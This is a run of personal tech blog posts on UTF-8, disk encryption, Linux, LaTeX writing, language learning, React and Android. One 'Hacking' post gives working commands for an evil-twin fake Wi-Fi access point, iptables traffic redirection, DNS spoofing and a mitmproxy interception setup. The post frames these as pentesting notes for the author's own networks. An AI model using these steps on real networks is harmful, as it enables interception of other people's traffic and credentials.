"The difference between a font and a typeface is the same as that between songs and an album. The former makes up the latter."

Truth be told, let's now take a close look at UTF-8... Once again, I'll sum up an article. But before, just a quick explanation about specific terms (taken from Wikipedia):

A character is a minimal unit of text that has semantic value.
A character set is a collection of characters that might be used by multiple languages. Example: The Latin character set is used by English and most European languages, though the Greek character set is used only by the Greek language.
A coded character set is a character set, where each character is assigned with a unique number.
A code point is a value that can be used in a coded character set. A code point is a 32-bit integer data type, where the lower 21 bits represent a valid code point value and the upper 11 bits are 0.

Now, a story about Unicode and UTF-8...

In the 1960's, the American Standards Association created a 7-bit encoding called American Standard Code for Information Interchange (ASCII). Using 7 bits gives 128 possible characters (that was enough for all lower and upper case Latin letters, numerical digits and most punctuation marks; see an ASCII table).

A few years later, new microprocessors were created, able to process 8 bits at a time. So they used 8 bits (a byte) to store each character, giving 256 possible values, and thus leaving values from 128 to 255 spare.

Then, in the 80's, Microsoft Windows introduced its own character set (also known as code page) called Windows-1251, whose goal was to fill in those space characters (for example, 224 represents the Cyrillic letter a). Furthermore, in the 90's, fifteen other 8 bit character sets were created to cover many different alphabets (called ISO-8859-1 to ISO-8859-16; ISO-8859-12 was abandoned). Nowadays, in web pages, if you don't provide the charset used, most web browsers will use a default one, depending on your country of residence (ISO-8859-1 will likely be used for English countries).

Nevertheless, in the meantime, a new standard called Unicode was proposed. The purpose: to assign a unique number (known as a code point) to every letter in every language, in more than 256 slots. At the moment, we have over 120,000 code points and Unicode is also considered a character set itself.

Unicode

The next few lies were copy-pasted from the original article.

"The first 128 Unicode code points are the same as ASCII. The range 128-255 contains currency symbols and other common signs and accented characters (aka characters with diacritical marks), and much of it is borrowed ISO-8859-1. After 256 there are many more accented characters. After 880 it gets into Greek letters, then Cyrillic, Hebrew, Arabic, Indic scripts, and Thai. Chinese, Japanese and Korean start from 11904 with many others in between. This is great – no more ambiguity – each letter is represented by its own unique number.

[...]

Note that these Unicode code points are officially written in hexadecimal preceded by U+. So the Unicode code point H is usually written as U+0048 rather than 72 (to convert from hexadecimal to decimal: 4*16+8=72)."

Having more than 256 characters makes Unicode unable to fit into 8 bits. It could however perfectly fit into a 32 bit encoding. But Unicode is just a standard, let's now find out which implementation (or character encoding) was designed.

It's also important to mention that internally, modern web browsers use Unicode. In C or C++ there is a "wide character" (32 bit character called wchar_t, an extension of C's 8 bit char).

So, now, the remaining problems with Unicode are:

A lot of existing software and protocols send/receive and read/write 8 bit characters
Using 32 bits to send/store English text would quadruple the amount of bandwidth/space required

Several attempts were created to solve this problem such as UCS2 and UTF-16 but the winner is UTF-8 (Universal Character Set Transformation Format 8 bit). At the moment and since several years, UTF-8 is the preferred character encoding for the Unicode standard.

UTF-8

"UTF-8 is a clever. It works a bit like the Shift key on your keyboard. Normally when you press the H on your keyboard a lower case “h” appears on the screen. But if you press Shift first, a capital H will appear." (copy-pasted from the original article)

UTF-8 treats numbers as follows:

0-127 as ASCII
128-191 as the key to be shifted
192-247 as Shift keys
- 192-223 is a simple shift
- 224-239 are like a double shift
- 240 and over is a triple shift

Consequently, to represent a character, you have four different ways (either on one, two, three or four bytes):

1 byte: a number from 0 to 127, it will represent an ASCII character
2 bytes: a sequence of <Shift key from 192 to 223> + <key to be shifted from 128 to 191>
3 bytes: <224-239> + <128-191> + <128-191>
4 bytes: <240-> + <128-191> + <128-191> + <128-191>

For example, the sequence 191 followed by 224 could never occur. Another example, taken from the original article:

"For instance, characters 208 and 209 shift you into the Cyrillic range. 208 followed by 175 is character 1071, the Cyrillic Я. The exact calculation is (208%32)*64 + (175%64) = 1071."

"UTF-8 is therefore a multi-byte variable-width encoding. Multi-byte because a single character like Я takes more than one byte to specify it. Variable-width because some characters like H take only 1 byte and some up to 4."

That makes UTF-8 backward compatible with ASCII.

Avoid most common problems

Be sure to use UTF-8 on every single page of your website(s).
```
<meta charset="UTF-8">
```
(best when written on top of the page, for performance concerns)
Choose your font wisely because "Unicode defines over 110,000 characters" and "your browser may not have the correct font to display all of them."
Be careful when dealing with MySQL to store text (another article about it in French, also about PHP)

That's it about Unicode and UTF-8! Hope it was useful.

Yes, Privacy Matters

2016-02-04T01:40:00+01:00

"Si ! vous avez quelque chose à cacher"

"La surveillance sur Internet - Fabrice Epelboin - Web2day 2014"

If you do care about your privacy, you'd better read what follows carefully ;). Basically, some rules of thumb to avoid common pitfalls and a few tricks to take care of your privacy as much as possible.

Useful IT policies
Use GNU/Linux (Ubuntu-based distro are not perfect but a good start, like Xubuntu; give exerbo a try if you're brave enough)
Don't use binaries coming from the Internet, compile every program to the extent possible
Forbid proprietary software as well - see alternatives below in this article
Encrypt your whole HDD (and any other external ones) - see right below
DO NOT INSTALL Facebook nor Twitter on your Android phone (or Cyanogen)

Before starting reading this article, you might be interested in this webpage, a full documentation about how encryption works with Linux.

Secure your computer and encrypt (part of) your local hard disk drive

First, set all possible BIOS passwords (usually one for the administrator and one for user(s); each password will give different rights for the BIOS, for example sensitive settings will be accessible to the administrator only).

Secondly, set HDD passwords from the BIOS panel (again, one for admins, one for user, both have the same purpose and rights: they kind of unlock the HDD, allowing it to be read and written).

Full disk encryption

Then, to encrypt your whole disk, you have 3 options:

Use the *Ubuntu built-in installer to encrypt the whole disk, erasing EVERYTHING on the disk.
Use the *Ubuntu built-in installer with Gparted to encrypt the whole disk, more flexible (select something else).
DIY. It allows you to keep a dual boot installation.

I would recommend going with the 1., but if you're interested, have a deeper look at thoses 3 options. Here is another tutorial to do it with Debian (not a *Ubuntu disto).

In any case, here is how to write a new Xubuntu image on a USB stick:

lsblk # To identify the USB stick
sudo dd if=/home/user/Downloads/xubuntu-15.10-desktop-amd64.iso of=/dev/sdb \
    bs=1M && sudo sync

Please notice that with LUKS encryption, your computer is still vulnerable as long as you have a boot partition unencrypted.

`/home` encryption (using the filesystem called eCryptfs)

Do it while installing your fresh new *Ubuntu. Otherwise, you can still do it later using ecryptfs-migrate-home.

Encrypt external HDD with `dm-crypt` and LUKS

Find the correct device (eg. /dev/sdb1 as a second internal SATA-HDD) and umount it:

sudo aptitude update ; sudo aptitude install cryptsetup
sudo modprobe dm-crypt sha256 aes # Enable modules, might be already done
lsblk
sudo umount /dev/sdb1
sudo dd if=/dev/urandom of=/dev/sdb bs=4K # Optional, add obfuscation

Create one big partition using the whole space (system must be Linux):
```
sudo fdisk /dev/sdb
```

Encrypt the partition using LUKS:

sudo cryptsetup --verify-passphrase -c aes-xts-plain64 -s 512 \
     -h sha256 luksFormat /dev/sdb1 # 512-bit AES encryption
     # with 256-bit SHA hashing algorithm

Create the filesystem:

sudo cryptsetup luksOpen /dev/sdb1 myhdd

Format it and test mounting:

sudo mkfs.ext4 /dev/mapper/myhdd -L <LABEL> -m 1
# -m specifies the percentage of the filesystem blocks reserved
# for the super-user
mkdir /mnt/hdd
mount /dev/mapper/myhdd /mnt/hdd
df -H
umount /mnt/hdd

Close container:

sudo cryptsetup luksClose /dev/mapper/myhdd
sudo eject /dev/sdb

Optional step, after disconnecting and reconnecting the device:
```
sudo chown user:user /media/disk
```

You can check the partition using

fsck -vy /dev/mapper/myhdd

Finally, you might want to backup the LUKS headers or add or change keys (passwords), if so look some keywords up on the Internet, like cryptsetup plus luksHeaderBackup or luksHeaderRestore or isLuks or luksDump or luksAddKey or luksRemoveKey.

Automount encrypted HDDs with LUKS on bootup

In /etc/crypttab, add:

mycryptedhdd    UUID=00000000-0000-0000-0000-000000000000   none    luks,tries=3

You can find the UUID using blkid /dev/sdb. You can also directly enter the path /dev/sdb. none means there's no keyfile, you'll have to type the password. tries is the number or tries you have.

Then, in /etc/fstab, add:

/dev/mapper/mycryptedhdd     /mnt/mounteddirectory    ext4      defaults    0   0

mycryptedhdd must be the same name used as before. /mnt/mounteddirectory is where the encrypted disk will be available. ext4 is the filesystem used on the disk (see step 5). First 0 means the device will not be backed up by the dump utility, second 0 means the device will never be automatically checked by the fsck utility.

You're good!

Encrypt what you put on Cloud Storages

This part is inspired from this blog post. I highly recommend encrypting content put online, should it be on proprietary platforms such as Google Drive ou Dropbox, or even on ownCloud.

sudo apt-get install ecryptfs-utils
sudo modprobe cryptfs # Optional
mkdir ~/Dropbox/Encrypted # This directory will be put online; its content is encrypted
mkdir ~/SecureDropbox # You'll put your unencrypted files here
sudo mount -t ecryptfs ~/Dropbox/Encrypted ~/SecureDropbox
# Choose a passphrase (which will act as a password), aes 32 bytes.
# Disable plaintext passthrough. Filename encryption might be useful. I would enable it.

Filename encryption might require another last command to be run, if your content is shared on more than one computer:

ecryptfs-add-passphrase --fnek

Encrypt one single file

Encryption

openssl aes-256-cbc -in yourfile.txt -out file.enc
# OR
gpg -c filename

Decryption

openssl aes-256-cbc -d -in file.enc -out yourfile.txt
# OR
gpg filename.gpg

Free alternatives to proprietary software

Emails

Thunderbird

Web browser

Mozilla Firefox

Text editor

Atom (~~Sublime Text~~ is proprietary)
Vim or Emacs

Video editing

Shotcut

Graphics editor

Gimp
Inkscape (vector)

Mastering GNU/Linux

2016-02-02T00:50:00+01:00

Everything you have ever wanted to know about GNU/Linux plus some troubleshooting tips I learned the hard way.

Installing Linux on a Dell preinstalled with Windows

In Windows, disable Fast startup in Panel Control > Power > Action when button pressed.
In the BIOS/UEFI, keep enabled SecureBoot
You might want to enable 'SD card boot' in the BIOS under Boot > Miscellaneous devices if you use a SD card to install Linux
If your SSD disk is a NVMe, it is possible that Linux can't see it. In such a case, in SATA operation, uncheck RAID and select AHCI. Also uncheck legacy Options ROMs (very important otherwise you will experience very slow boots, up to 10 min to access the BIOS). More information: https://www.dell.com/community/General/Dell-XPS-13-9365-Won-t-boot-USB-in-SATA-Mode-AHCI-Trying-to/td-p/5119108/page/3 and https://bbs.archlinux.org/viewtopic.php?id=204629.

That's it. You should be able to install Linux on the entire disk now.

Upgrading your distribution of *Ubuntu

sudo do-release-upgrade
# OR
sudo update-manager -c

More information.

GNU/Linux

Free Software Foundation / Open source

Installing Linux

Alongside Windows

The whole system

Shells & Terminals

Software

Commands / tips

Other distros

#!++, A CrunchBang revival project (very lightweight distro)

Security

Generally, security is achieved on Linux with:

Setting the right file permissions: chmod + chown) or with ACLs
AppArmor (enabled by default on Ubuntu)
SELinux
Shellcode Injection
Security Guide: How to Protect Your Infrastructure Against the Basic Attacker
/dev/random vs /dev/urandom & Myths about /dev/urandom
Hygiène numérique pour l’administrateur système
How To Protect Your Privacy On Linux
Hands-on Guide on GPG Keys
Creating a new GPG key with subkeys
GNU Privacy Guard
Using an offline GnuPG master key
Using OpenPGP subkeys in Debian development
Securing Debian Manual
How To Secure A Linux Server
the-practical-linux-hardening-guide

NGINX

trimstray/nginx-admins-handbook

Other

The Art Of Writing

2016-01-27T18:15:00+01:00

Writing any kind of profesionnal document in English is not a straightforward thing, especially if it's not something you do on a regular basis. There are rules to stick to, a formatting to respect, mistakes to avoid. Readers must be able to find information quickly, at the right place. Might it be either in a glossary, a footnote, an appendix, and so on., you must follow a specific order.

This year, I decided to write my internship report in English and thus stick to what English readers are used to. In general, thoses rules are almost the same as in French, almost. However, there are a few significant differences you'd better know.

I'm going to first explain how I would write a technical report — it works for an internship report as well, since it's supposed to be technical.

Writing a report

I decided to base my report on a book design. However, you can find here a complete guide about profesionnal and technical writing.

The report is done in a two-sided printing style. Here is the plan I would follow for an internship or a technical report:

Cover (1 page)
Blank page
Acknowledgments (1 page)
Blank page
Table of contents
Table of figures and tables
Foreword (including a technical summary) (what is the difference between a preface, a foreword, and an introduction?)
Introduction - BODY MATTER - Conclusion
Glossary and index if needed (on the same page)
Bibliography
Appendices (must start on a right-hand (odd-numbered) page, so add a blank page right before if needed): 1 page containing the title "Appendices", and then the actual appendices

Do you need a glossary? I will mostly depends on your audience. Glossaries are meant to define complex or unsual words. Glossaries should also contain the definitions of any acronym used. One rule of thumb is pretty simple: who is your audience? Who will read your report. If the answer is people like you, who have the same knowledge, and who will likely understand the report well, then no need for a glossary. On the contrary, if it's intended to be read by anyone, then you likely need a glossary.

An index is mostly encountered within novels but you might add it in the glossary (add the page numbers after the definitions). It's generally not mandatory at all.

Footnotes are rather different. There are meant to add short pieces of information not necessarly related to the main content (like anecdotes, complementary information, web links). In regular books, you might encounter notes at the end of them, which purpose is approximatively the same. However, it's a bit annoying, as it interrupts the flow of reading. It's better suited for long footnotes that wouldn't fit at the bottom of a page. Personally, I don't write notes at the end of a document, I would rather write footnotes. And sometimes, when footnotes are extremely short, you might want to use either a dash or a semicolon to add complementary information.

Appendices are for any other document you haven't produced yourself, or big ones, like charts, graphs or emails. They should not be an important part, the reader must be able to understand your point without seeing the appendix. Otherwise, it must go in the main content.

Pay attention to headings, there are different rules regarding capitalization.

Writing a formal business letter

How to format it (the layout) (read the comment as well)
The Closing: use "Yours sincerely" when you know your recipient's name, otherwise use "Yours faithfully". If you know the person quite well, you can use "Best regards" or "Kind regards".

Using modern tools

There are great tools out there to write beautiful reports, not to mention Microsoft Word, Pages or LibreOffice Writer. But these ones are too focused on the form instead of the content. People spend way too much time formatting, adding colors, setting the margins, and so forth, instead of... writing the actual content. Moreover, between two given versions of the same program (let's say Word 2003 and Word 2007), there might be huge differences introducing compatibility issues, not easily solvable.

So, is there some sort of an ultimate solution? The answer is YES. Let me introduce LaTeX.

LaTeX

Basically and quickly, it's an open source tool written a while ago which allows you to write any kind of document and export them as PDF (and some other formats). You can write books, reports, CVs, slides, anything! You write it as plain text surrounded with some sort of code (it's a markup language actually). It's available on Linux, Mac and Windows. As it's plain old text, there's no compatibility issue at all. What is more, LaTeX doesn't evolve that much over years so. Should it does some day, they will always ensure backward compatibility. When you're done with it, you just compile it and you're good: a beautiful PDF is procuded. There are plenty of tools available for each platform. For instance, I recommend pdflatex on Linux. And if you're too lazy to install any of them, use ShareLaTeX.

See this tutorial to install the latest version of LaTeX.. Otherwise, you might install it using your system package manager:

sudo aptitude install texlive-full biber # biber is for the bibliography

Then, make sure LaTeX's package manager is working:

sudo aptitude install xzdec
tlmgr init-usertree
tlmgr update --list

In the following lines, I will give some pieces of advice regarding LaTeX and how to use it properly but I will assume you already have some knowledge about it. My purpose is not to write a tutorial about LaTeX at all. These are mainly reminders for myself.

You can find some examples of CVs, cover letters, reports and slideshows on my GitHub account. For advice about CVs, see my article "How Not To Get Hired"

The commands `\input{}` and `\include{}`

\input{} doesn't do \newpage, unlike \include{}. More info.

Splitting files

Is a best practice. I personally try to have "conf" files and "content" files. Then I gather them in the main Tex file (thanks to \input{}), which will be compiled eventually.

Bibliography

It's a really important part of any report or publication. Basically, there are two engines to compile the ".bib" file: bibtex and biber. As well, there are two LaTeX packages to format citations and bibliographies: natbib and biblatex. I personally recommend using biber and biblatex. Read here why..

Going further with LaTeX

Unix tools

Now that you started using LaTeX (I'm glad you did!), you might wonder how to check spelling, grammar, conjugation, etc.? Actually, there are dozens of tools for Linux.

Grammar and style

Here are two old fashionned tools to check grammar and style, installable with

sudo apt-get install diction

diction and style are both great tools but don't trust them completely, they tend to be really strict.

Spelling

There are three main tools really wide spread among the Linux community

aspell
ispell
hunspell

They mostly do the same job. However, I would rather recommand aspell as it's the preferred tool for programmers (source).

aspell -l en-US -c -t <file.tex>

General tools

TextLint

Another awesome tool to check the style, mostly.

git clone https://github.com/DamienCassou/textlint
cd textlint
./textlint.bash \
    <file.tex> \
    ./Linux32/pharo \
    ./TextLint.tmbundle/Support/TextLint.image

They also offer a web application.

LanguageTool

Finally, here is a general word/grammer checker (probably one of the best): languagetool.org. According to their official documentation regarding LaTeX, the best way to check any file is as follows. You will need Java version 8 or higher.

sudo add-apt-repository ppa:openjdk-r/ppa
sudo apt-get update
sudo apt-get install openjdk-8-jdk
sudo update-alternatives --config java
sudo update-alternatives --config javac
java -version # Make sure it worked

Now, download languagetool (stand-alone version for Desktop). Then:

detex <file.tex> |java -jar languagetool-commandline.jar -l en-US -c UTF-8 |less

detex will turn your Tex file into a plain text one (it will remove the LaTeX formatting). You can disable rules. Simply add the argument -d with the rules' IDs (as many as you want), for example:

java -jar languagetool-commandline.jar -l en-US -c UTF-8 -d 'EN_QUOTES,UPPERCASE_SENTENCE_START' <file.tex>

Books

To conclude, here a two famous books to produce high-quality documents in English:

The Chicago Manual of Style: the ultimate book to learn how to write documents in English and be the perfect writer. Best suited for journalists.
The Elements of Style: a short and yet excellent book to know the basic rules and avoid common mistakes and pitfalls.

Great articles

How to Write a Great Statement of Purpose

Learning A Foreign Language

2016-01-21T17:20:00+01:00

Learning a foreign language is not easy whatsoever. In this article, I try to gather all the techniques and tips I used to learn a foreign language, English. I also put into perspective all those years spent learning. For the last couple of months, I made some research about languages. I'm actually really into being as fluent as possible in this language, my ideal goal would be being completely bilingual and sound like a native speaker (although some people might find the French accent "cute").

I was lucky enough to get taught English early, when I was around 9 or 10 years old. As of that period, I've never stopped having English classes. But as the world knows, French people really suck at English and disregard it completely. I would also add that our educational system regarding foreign languages is not that good. People don't get involved. It might be one of the reasons why our level is not as high as our European neighbors'. However, from a personal point a view, I've always been extremely interested in English, whereas I completely gave up Spanish after high school. English is the Wold language thus I see no point in learning a third language, despite Spanish might be more spread than French. What is more, English is ubiquitous in Computer Science.

A few years ago, right after graduating from high school, I started being even more interested in English, willing to work harder in order to improve my level. As I was heading towards Computer Science studies, I realized how important this language would be for me, in the long term. That was the starting point of my English learning journey. A sheer dive into that language.

Stages

There are a few stages one has to go through during the process of learning a foreign language. What follows is about how English is taught in France.

Education

The very first step is learning the basics, simple sentences, etc. That's what school is for. Being able to introduce yourself, talk about your family and interests, ask simple questions or get help from passers-by. That's basically what we learn in France in elementary school. At the end, pupils are supposed to have a A1 level (it's a European level). Then, comes middle school and more complex grammar. You get to know the tenses, and have dozens of irregular verbs to learn by heart. You also learn how to express common feelings or whishes and build conditional clauses. This will leave students with a B1 level. For the next three years of high school, teaching would continue, going a bit further, to finally reach a B2 level (supposedly, in facts most of people don't have such a level).

Then starts higher education. Students can choose freely to keep studying English or not, mostly depending on their studies. I did continue.

After that period, unless they were actually studying languages (or English), most people feel like they hadn't made huge progress over their college years. It seems like they've reached the peak and can no long make any significant progress. Of course you improve your vocabulary, you get used to new expressions, your general oral and reading comprehension increase a bit, but not that much. Unless you decide to take the bull by the horns, on your own.

Active and passive vocabulary

It has been demonstrated that each individual has two categories of vocabulary for each language they know: the active vocabulary and the passive one. The latter is basically made of known words but that you wouldn't use normally, out of the blue. You know the definition or the meaning, you just don't use it. If you hear it or read it, you would understand. On the contrary, the active vocabulary includes all the — known — words you would daily — or often — use, either when talking or writing.

According to this website, native English speakers have an average of 20.000 words in their active vocabulary whereas they have around 40.000 in their passive. This is a gigantic difference.

My guess is that all along your course to learn a foreign language, your two types of vocabulary evolve like this:

When you take up classes during childhood, your two kinds of vocabulary are mixed up. A some point they slightly fork, like after elementary school. Then, when you have your first experience abroad, your amount of passive and active vocabulary will usually soar. But still, the gap between the two of them increases, making an even bigger difference.

I personally reached that stage where I can fluently read an English book written by a journalist without having to look words up too frequently. And yet, my oral expression is not that good.

Consequently, the following parts of this article will then be dedicated to finding efficient and handy ways to reduce that growing gap.

Let's code something

From September 2015, I'm having my longest experience abroad, taking place in the Netherlands, a country where every single person speaks English (which is really awesome for a French country boy like me).

In November, I decided to start writting down all the unknown vocabulary or expressions I would come across, in a text file. Then, as the file was growing bigger and bigger, I thought I needed something else. Going back through that long list would have been painful and not convenient. I needed something I could do wherever and whenever I want. Most of all, I wanted to keep a trace of my improvements.

I spent some time for reflection and I eventually came up with an idea: a mobile app. Indeed, I carry my smartphone everywhere and thus can use it at any time. I also thought that a Tinder-like app might just be perfectly suited for my need. The idea was to swipe left if the word was unknown, swipe right otherwise. The definition would appear on a swipe left.

With such an app, I would get exposed to my vocabulary list frequently, many times a day. The words swiped left would be more likely to appear often, whereas those swiped right would appear rarely.

Today, I'm proud to announce that the project is officially available on Github. It's open source, so feel free to contribute. Moreover, the app has been published on the Android Play Store. Finally, here is the website to create an account and add words or expressions to lists.

Let's now move on to other ways to reduce that gap between active and passive vocabulary.

Reading

Reading is key to a drastic increase of your vocabulary. You stumble upon loads of unknown words, complex expressions, strange clauses and so on.

Online newspaper are a great solution to get used to expressions commonly written. Specialized newspapers are great as well to meet specific vocabulary.

Books (novels, journalists's books, comics) are other rich sources of knowledge and vocabulary. It might be of any kind but what's sure is that you will learn. I find comics really useful when it comes to learning some slang.

Watching

TV series are the equivalent of comics: full of slang vocabulary, hardly enunciated, whereas movies are richer. Nonetheless, they are really efficient and most of the time they will teach you the correct pronounciation of unknown words. It's also easy to get acquinted to British and American accents.

One can alos watch the news. Journalists normally have a good pronounciation and use fairly simple vocabulary.

Listening

The Internet is full of high-quality podcasts, take advantage of them if you don't have much time to spend reading or watching.

Writing

Finally, I need to mention writing. It's not well known, and that's a pity. But writing is one of the most efficient ways to put into practice what you daily learn and make sure you don't forget it. It's just like rehearsing. Write blog posts, write comments, send out emails, but get out of your comfort zone and do it in a foreign language!

If you have the opportunity, write reports in English as well, or give presentations in English, and so on.

There's no frontier to knowledge, embrace a foreign language right now :-)

Resources

Here is a really good blog to go even further with foreign languages. And the guy who owns the blog also gives talks sometimes, here is one from him, about reading comprehension:

To conclude, try to read this. Good luck!

Going further with German

5 of the most cringeworthy mistakes I’ve made in German

Going further with English

I decided to gather here all the little things to know in English, which are not obvious.

Common pair words

Other things to know in English

Hacking

2016-01-18T23:00:00+01:00

This brief article solely contains a few lines of commands, to perform pentesting or network monitoring. It's basically something I might use in the future on my networks or apps, so I'm writing it down as a reminder. I thought it may help other people that's why I decided to put it online. Of course the preferred operating system is Kali (or any Debian-based distro).

WARNING: only for use on your own networks and devices, the law strictly forbids it otherwise.

Fake AP (access point)

This technique is about creating a fake access point, similar to one already existing, so that people's computers will try to connect to your fake AP automatically, without them noticing.

Deactivate any firewall first
Get super user rights
```
sudo su
```
Install some required packages if not already present
```
aptitude install dnsmasq aircrack-ng
```
List the existing network interfaces and turn one of them into monitor mode
```
airmon-ng
airmon-ng start wlan0 # wlan0 is usually Wifi
```
Start monitoring available networks around, and make a quick test
```
airodump-ng mon0
aireplay-ng --test mon0 # Test
```

Choose one network and fake it

airbase-ng --essid 'HG655D-1BFF19' -c 7 -W 1 -Z 2 -v mon0 # Fake WPA AP

Enable packet forwarding

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080

Write what follows in /etc/dnsmasq.conf:

interface=at0
dhcp-range=192.168.0.50,192.168.0.150,12h

Do some other things for which I can't recall the usefulness right now (but I promise to update the article as soon as I do):
```
ifconfig at0 192.168.0.1 up
dnsmasq # pkill dnsmasq if needed
```
Write what follows in /tmp/tests.conf (<tab> means you have to hit the tab key):
```
192.168.0.1<tab>*
```
Run dnsspoof:
```
dnsspoof -i wlan0 -f /tmp/tests.conf
```
Finally, start a webserver (Apache or using Python, or whatever)
```
python3 -m http.server 8080
```

And you're good! All the clear traffic will pop up right in front of your eyes. To deal with HTTPS connections, have a look at SSLstrip.

Encountering problems with DNSspoof? Have a look there.

More information about faking APs.

Another interesting tutorial ("Kali Linux Evil Wireless Access Point").

MITM

This is a commonly used technique to "put yourself" between a target user and an access point, in order to see all the traffic this user might send and receive.

MITM on Android

On Android, it has the advantage of allowing you to monitor your outcoming traffic, which is useful when debugging your own apps.

Grant yourself super user rights and enable packet forwarding on the right interface (here eth0 which is the Ethernet connection):

sudo su
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

Install the required dependencies and mitmproxy:

apt-get install python-pip python-dev libffi-dev libssl-dev libxml2-dev libxslt1-dev libjpeg8-dev zlib1g-dev
easy_install mitmproxy

You can as well download mitmproxy and install it manually.

Run it:
```
mitmproxy -T --no-upstream-cert --host [-p 8080] # -p is optional as 8080 is the default port
```
The argument -T is for transparent. If you don't go for transparent, then the 3 lines about packet forwarding (point 1.) are useless (or maybe not, I can't remember).
On your Android device:
1. Open the current Wifi settings (long-press on the connected network).
  - If you decided to do transparent proxying (see above), set proxy to your computer's IP and port 8080, like: 192.168.1.2:8080
  - If you decided not to do transparent proxying (see above), don't set the proxy and instead set the IP to be static rather than using DHCP. Then write your computer's IP as the gateway.
2. Go to the website mitm.it and click on the Android icon to install the certificate. If this doesn't work (website unreachable), push the certificate manually from your computer (run the following command from your computer):
```
adb push ~/.mitmproxy/mitmproxy-ca-cert.cer /sdcard/Download
```

Then you'll see the traffic in your terminal going through!

This part has been inspired from this article.

Other tools

mitmAP - A python program, to create a fake AP, and sniff data

React

2016-01-08T01:00:00+01:00

First of all, I wish you a Happy New Year. May it be full of happiness and lines of code :-)

Let's now talk about the new hotness, a JavaScript library getting more and more trendy, with an unceasingly growing community: React. It's under active development these days, powered by Facebook (and initially created by). Basically, it's meant to build user interfaces in a web context, but recently they also exported it to mobile development, alloying anyone to write some kind of cross-platform code for both Android and iOS, in JavaScript, just like Appcelerator Titanium.

At the present time, I'm still getting acquinted with it, but here are a few pieces of advice about how to get started correctly.

Must read

How to

You have 2 main tools of choice, to compile it into some browser-compliant package: Webpack or Browserify. I personally decided to go with the former, as it's the most popular and offer more possibilites. Briefly, how to start a new project with webpack:

npm init # Entry point: index.js
npm install --save react react-dom babel-preset-react babel-preset-es2015
# The previous line is required to run React with ES6
npm install webpack --save-dev
# --save-dev allow us to add it to the package.json
npm install webpack-dev-server --save-dev
# To live reload changes in the browser in development
# MUST NOT BE USED IN PRODUCTION
npm link webpack # To make the command available as if it was installed globally
npm link webpack-dev-server

# Install babel
npm install babel-loader --save-dev
# OR, in case of problem
npm install babel-loader@5.x --save-dev

Configure webpack

There are two ways to pass the configuration object to webpack. However, here we're going to use the CLI way, which uses a conf file. Create webpack.config.js at the root of the project, containing this:

module.exports = {
    // configuration
};

That's all for now. This article is likely to be updated in a near future, stay tuned!

PS: a friend of mine also gave a talk last year, at our school, about React. He was an avant-gardist ;-)

Tips for Webpack here.

Futher reading

Bundle size optimization

Performance

Functional components

About Babel

Babel Handbook

About Redux

A cartoon intro to Redux

Carrying Out A Web Project

2015-12-03T00:40:00+01:00

Here are some resources.

How to carry out a web project?

CSS

Support and compatibility

caniuse.com: check out the tab 'Relative'
gs.statcounter.com
developer.mozilla.org aka MDN
www.chromestatus.com/features
developer.microsoft.com/en-us/microsoft-edge/platform/status/
webkit.org/status/
platform-status.mozilla.org
bugzilla.mozilla.com

Centering

How to Center in CSS

Mobile development

Comment déboguer facilement du web y compris sur tablettes et téléphones

Responsive design

Compatibility

Can I Use

Testing

Finalizing

HTTPS and security

Formatting / minimizing / indentation / compressing

HTMLLisible: auto-indent HTML
CSSLisible: order properties and auto-indent CSS
Online JavaScript/CSS Compressor
Optimise your pngs from the terminal in OSX
Cache et compression des pages web avec Gzip ou Deflate en HTTP
PageSpeed Insights
Monitoring unused CSS by unleashing the raw power of the DevTools Protocol

Apache setup

Favicon

On Linux, if you have imagemagick installed, do:

convert favicon.png -alpha on -resize 256x256 \
    -define icon:auto-resize="256,128,96,64,48,32,16" \
    favicon.ico

Useful resources

UI

Fonts

Icons

Images

Sometimes sizes is quite important.
[DevFest Nantes 2018 - Fast and Beautiful Modern Image Delivery Techniques(https://www.youtube.com/watch?v=bTKRic9FWmM)
Responsive Image Breakpoints Generator

Debugging

Bonus: HTML Emails

Going further

Methodology

Web Assembly

PWAs

Linters

Testing

Using Headless Mode in Firefox

Performance

Misc

Embracing Java

2015-12-03T00:35:00+01:00

Here are some useful links about Java.

General

Concurrency

Code quality

Source Code Quality Police (Qulice)

Blogs

Blog About Computers

Developing For Android

2015-12-02T16:30:00+01:00

Here are some useful resources for Android development.

Internationalization

Internationalizing an Android app

Design

Fragments

Les Fragments

Asynchronism

Run multi AsyncTask at the same time

Security

Libraries

Finalizing the app / promoting it

Testing

Continuous Integration

Machine Learning And AI

2015-11-28T13:14:00+01:00

Android, iOS: What Alternatives?

2015-11-26T15:00:00+01:00

As 2015 is slowly coming to an end, let's try to shape the state of the global smartphone market share.

Source

It makes no doubt that the world is ruled by two main OSes: Android and iOS. But as you may have heard, those operating systems are powered by two giants, Google and Apple, and in many cases, this can lead to privacy issues. In addition, iOS is proprietary softare and Android tends to be more and more opaque as well. So, what other alternatives do we have? How can we regain control over software we use?

Since a few years, two other operating systems offering good alternatives, have been in intense development. One is made by Mozilla, called "Firefox OS", the other one is powered by Canonical (the company behind Ubuntu), called "Ubuntu for devices". Those two OSes are really different in the way they work.

Firefox OS relies on HTML5. As a web developer, you'll find developing on this platform pretty straightforward. Applications are built on top of HTML/CSS.

On the other hand, Ubuntu is... kind of a Ubuntu distribution but developed and optimized for mobiles. It allows you to do most of what you might do on a desktop distribution.

For now, as these OSes are still in early development, they're not available worldwide easily. Somes phones run theses OSes but they're not mainstream yet. An easy option is to build them yourself and install them on your own Android device. Here are short tutorials.

Installing Ubuntu for devices

For Nexus 4

sudo add-apt-repository ppa:ubuntu-sdk-team/ppa
sudo apt-get update
sudo apt-get install ubuntu-device-flash phablet-tools

Plug in your phone, enable the developer mode and USB debugging.

adb reboot bootloader
sudo fastboot oem unlock
ubuntu-device-flash touch --channel=stable --bootstrap

More information.

For Nexus 5

There are 3 methods (updated in December 2017). First, plug in your phone. Then:

1

Official tutorial.

git clone https://github.com/MariusQuabeck/magic-device-tool.git
cd magic-device-tool
sudo ./launcher.sh

2

Official tutorial.

sudo apt-get install ubuntu-device-flash phablet-tools
adb reboot bootloader
sudo fastboot oem unlock
sudo ubuntu-device-flash --server=http://system-image.ubports.com touch --device=hammerhead --channel=15.04/stable --bootstrap

3

Official tutorial.

